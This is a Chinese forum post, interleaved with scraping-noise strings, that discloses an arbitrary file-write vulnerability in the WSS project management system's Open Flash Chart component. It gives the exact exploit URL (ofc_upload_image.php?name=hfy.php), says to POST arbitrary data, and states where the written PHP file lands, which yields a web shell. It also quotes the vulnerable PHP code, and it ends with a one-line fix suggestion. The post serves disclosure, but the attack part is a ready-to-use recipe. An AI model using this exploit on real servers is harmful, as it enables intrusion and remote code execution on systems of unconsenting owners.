WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
漏洞文件/chart/php-ofc-library/ofc_upload_image.php

0 r1 [3 @( u* n: ]6 w* f/ c4 f1 @利用：
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
* F6 Q/ i: [) h
Post任意数据
6 B  J( s0 F% b8 I3 F% Y+ M! ~保存位置http://localhost/chart/tmp-upload-images/hfy.php
1 H5 X3 K' B2 I7 A

  |0 _. ^9 ^! b5 \最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
: [$ t  l) K1 ^5 a* x
  ]7 k6 Y' G7 W! o1 S1 C- B. r# T<?php
' N# ~( s1 z, N: z  [' l' W# W; q
//
// In Open Flash Chart -> save_image debug mode, you
: v; n& W0 m! H& s1 c// will see the 'echo' text in a new window.
0 ^6 f4 O! f0 C1 [//
' Z6 b: |2 T: c% c4 p
/*
, ?4 P) N- `/ r3 A! E- g& X3 O. G  Q
" B* U# L+ l3 }5 L9 pprint_r( $_GET );
print_r( $_POST );
9 ]. q! F3 W+ b- P* U0 d' s; @& ^print_r( $_FILES );

. d+ j2 Y# O0 H# b, }print_r( $GLOBALS );
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
( {9 U+ J! h5 Y* E$ u, n, F// default path for the image to be stored //
$default_path = '../tmp-upload-images/';
# r) S3 k" e% ~  e
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
5 J& ~0 `# f( n* v$destination = $default_path . basename( $_GET[ 'name' ] );

# ^8 d+ O; f8 k( E: mecho 'Saving your image to: '. $destination;
1 q2 w/ o) M0 D// print_r( $_POST );
. l8 p; Y4 l9 N8 A% @3 q, h// print_r( $_SERVER );
6 ]9 M! ]7 \! f$ A4 N6 E: M// echo $HTTP_RAW_POST_DATA;
+ y' v$ H; s% i* \1 d, n% ~$ U; b& s
//
// POST data is usually string data, but we are passing a RAW .png
// so PHP is a bit confused and $_POST is empty. But it has saved
+ Y' R- x5 q( W+ D7 w// the raw bits into $HTTP_RAW_POST_DATA
$ j' k4 A' Q1 H, q2 D5 S) P( v//
2 N3 z( U$ u6 h, g7 `' m% L# m' U
$jfh = fopen($destination, 'w') or die("can't open file");
3 D9 @4 @. I1 f4 b2 T5 jfwrite($jfh, $HTTP_RAW_POST_DATA);
; U0 V) G/ t1 u2 e# Bfclose($jfh);

//
' }  _  H3 {5 j, P  b. t// LOOK:
//
exit();
//
// PHP5:
//
2 t2 R9 c+ k: m) O& j6 k' _
1 ^2 o. U, b' C! o* T( P
0 I0 T, M" l+ H// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
+ U# n& d; p! l3 Z
. ^; f7 Z* G$ I, e" Q; [if (!file_exists($default_path)) mkdir($default_path, 0777, true);

- U8 B/ T. |7 k5 q; o% N// full path to the saved image including filename //
: n! d' T* E) w& Z0 Y$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
( K& r  P! D8 u' K
// move the image into the specified directory //
: T! {5 S2 L0 |3 W- Iif (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
4 v' Z3 Z8 R+ [0 v  a    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
} else {
    echo "FILE UPLOAD FAILED";
7 k3 v6 \. `* k1 }  c}
& Z9 W% o' J, K+ q" S
) O! R) P  u7 y2 U- ]8 `8 h
?>

% U$ [5 m. e$ j5 C; V! O7 U

+ h% V: }$ b: C5 p4 k- L) K& @


3 I  ^  Y6 q& j4 _修复方案：
; a1 F* V% e% R0 y: i. O! l这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞

9 [/ z9 N- z* ]2 }

1 J1 Q5 \- |5 @. G, x' e. N
: {2 r/ t7 x# w/ q